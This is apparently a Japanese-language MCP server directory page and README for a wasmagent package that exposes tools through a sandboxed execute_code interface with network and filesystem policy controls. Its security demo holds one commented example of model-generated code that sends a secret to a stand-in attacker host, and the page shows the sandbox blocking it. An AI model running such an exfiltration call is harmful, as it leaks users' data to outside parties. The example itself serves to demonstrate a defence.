telleroutlook について
telleroutlookはwasmagentランタイム向けのMCPサーバーで、ツールレジストリをサンドボックス化されたコード実行インターフェースにまとめます。wasmagentエージェントをMCPホストに接続する開発者向けで、CapabilityManifestがカーネル境界でネットワークとファイルシステムのポリシーを適用します。
主な機能
- 01docs_searchとexecute_codeでツールを公開
- 02QuickJSなどのカーネルでスクリプト実行
- 03CapabilityManifestによるネットワーク・ファイルシステム制御
- 04stdio、HTTP、カスタムトランスポート
- 05handle()による統一プロトコル処理
活用シーン
- 01wasmagentエージェントをMCPホストに接続
- 02コードモードで登録済みツールを呼び出す
- 03スクリプトのネットワーク・ファイル制限を設定
- 04ホスト環境に応じたトランスポートの選択
MCP 対応
wasmagentエージェントをdocs_searchとexecute_codeのツールでMCPサーバーとして公開します。stdio、HTTP / Streamable、またはカスタムトランスポートでMCPリクエストを処理できます。
設定
ローカルサーバーの設定はどのクライアントでも共通です。コピーしてクライアントの MCP 設定ファイルに貼り付けてください。
ツール
2掲載時のツール一覧 · 2 週間前に更新
| パラメーター | 型 | 必須 | 説明 |
|---|---|---|---|
| names | array | いいえ | 取得する正確なツール名の任意のリストです。`query` より優先されます。 |
| query | string | いいえ | ツール名/説明を絞り込む部分文字列です。空または省略するとすべて返します。 |
詳細
/mcp-server
成熟度:ベータ版 — API の形状はマイナーバージョンで変更される場合があります。変更は CHANGELOG で告知されます。
任意の wasmagent エージェントを Model Context Protocol(MCP)サーバーとして公開します。
wasmagent の一部です — TypeScript + WASM のエージェントランタイムです。
Before / After
ホストに直接公開する単純なツール一覧を、サンドボックス化された
execute_code サーフェスに置き換えます。
+import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";
+import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
+import { ToolRegistry } from "@wasmagent/core";
-// Before: host sees every tool directly — 40 tools × schema = huge context cost
-server.setRequestHandler(ListToolsRequestSchema, () => ({
- tools: [...allFortyTools],
-}));
+// After: host sees ONLY docs_search + execute_code; model dispatches internally
+const tools = new ToolRegistry();
+// tools.register(...) — register your 40 tools here
+
+await runStdio(createCodeModeServer({
+ tools,
+ kernel: new QuickJSKernel(),
+ capabilities: { allowedHosts: [], cpuMs: 5_000 },
+ serverInfo: { name: "my-agent", version: "1.0.0" },
+}));
下流ツールが N=30 個の場合、ブートストラップトークンのコストは直接方式の 13.6% に低下します。モデルはスクリプトを指定して execute_code を呼び出し、そのスクリプトが必要なツールに対して callTool(...) を呼び出します — すべて単一の CapabilityManifest のもとで実行されます。
インストール
npm install /mcp-server /core
3 つのトランスポート、1 つのサーバー
McpAgentServer はトランスポートに依存しません。単一の handle(req) メソッドを介して JSON-RPC を処理します。ホストに適したトランスポートを選択してください。
1. Stdio(Claude Desktop、Cursor、Glama のヘルスチェックなど)
# Zero-config default — code-mode server with VmKernel and no
# downstream tools. Useful for sanity / introspection only.
npx /mcp-server
実際のデプロイでは、小さな Node スクリプトを作成し、独自のサーバーで
runStdio() を呼び出します。
// server.mjs
import { createCodeModeServer, runStdio } from "/mcp-server/stdio";
import { QuickJSKernel } from "/kernel-quickjs";
import { ToolRegistry } from "/core";
const tools = new ToolRegistry();
// tools.register(...) — your tools here
await runStdio(createCodeModeServer({
tools,
kernel: new QuickJSKernel(),
capabilities: { allowedHosts: [], cpuMs: 5000 },
serverInfo: { name: "my-agent", version: "1.0.0" },
}));
2. HTTP / Streamable(Cloudflare Workers、Vercel など)
import { createCodeModeServer, createFetchHandler } from "/mcp-server";
const server = createCodeModeServer({ /* … */ });
const handler = createFetchHandler(server);
// In a Worker: export default { fetch: handler }
3. 直接 handle() を呼び出す
カスタムトランスポートを使用する場合、プロトコルレベルの処理は async (req) => { response } を呼び出すだけです — McpAgentServer.handle() を参照してください。
コードモード(2 ツールのサーフェス)
createCodeModeServer() は、あらゆるツールレジストリを docs_search + execute_code の MCP サーフェスでラップします。下流ツールが N=30 個の場合、ブートストラップトークンのコストは直接 MCP の 13.6% に低下します。docs/guides/code-mode.md を参照してください。
セキュリティデモ
CapabilityManifest は、モデルが execute_code を介して実行するすべてのスクリプトに対し、カーネル境界でネットワークとファイルシステムのポリシーを適用します。
import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";
import { QuickJSKernel } from "@wasmagent/kernel-quickjs";
import { ToolRegistry } from "@wasmagent/core";
const tools = new ToolRegistry();
// tools.register(...)
await runStdio(createCodeModeServer({
tools,
kernel: new QuickJSKernel(),
capabilities: {
allowedHosts: [], // no outbound network
allowedPaths: [], // no filesystem access
cpuMs: 5_000,
memoryLimitBytes: 64 * 1024 * 1024,
},
serverInfo: { name: "my-agent", version: "1.0.0" },
}));
// Model-generated code inside execute_code that tries to exfiltrate data:
// fetch("https://attacker.example/exfil?data=secret")
// → throws: network access denied — host "attacker.example" not in allowedHosts
スクリプトがどの下流ツールを呼び出すかにかかわらず、マニフェストが適用されます — 1 つの宣言で execute_code サーフェス全体をカバーします。
ライセンス
Apache-2.0 — © wasmagent のコントリビューター
コメント
AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。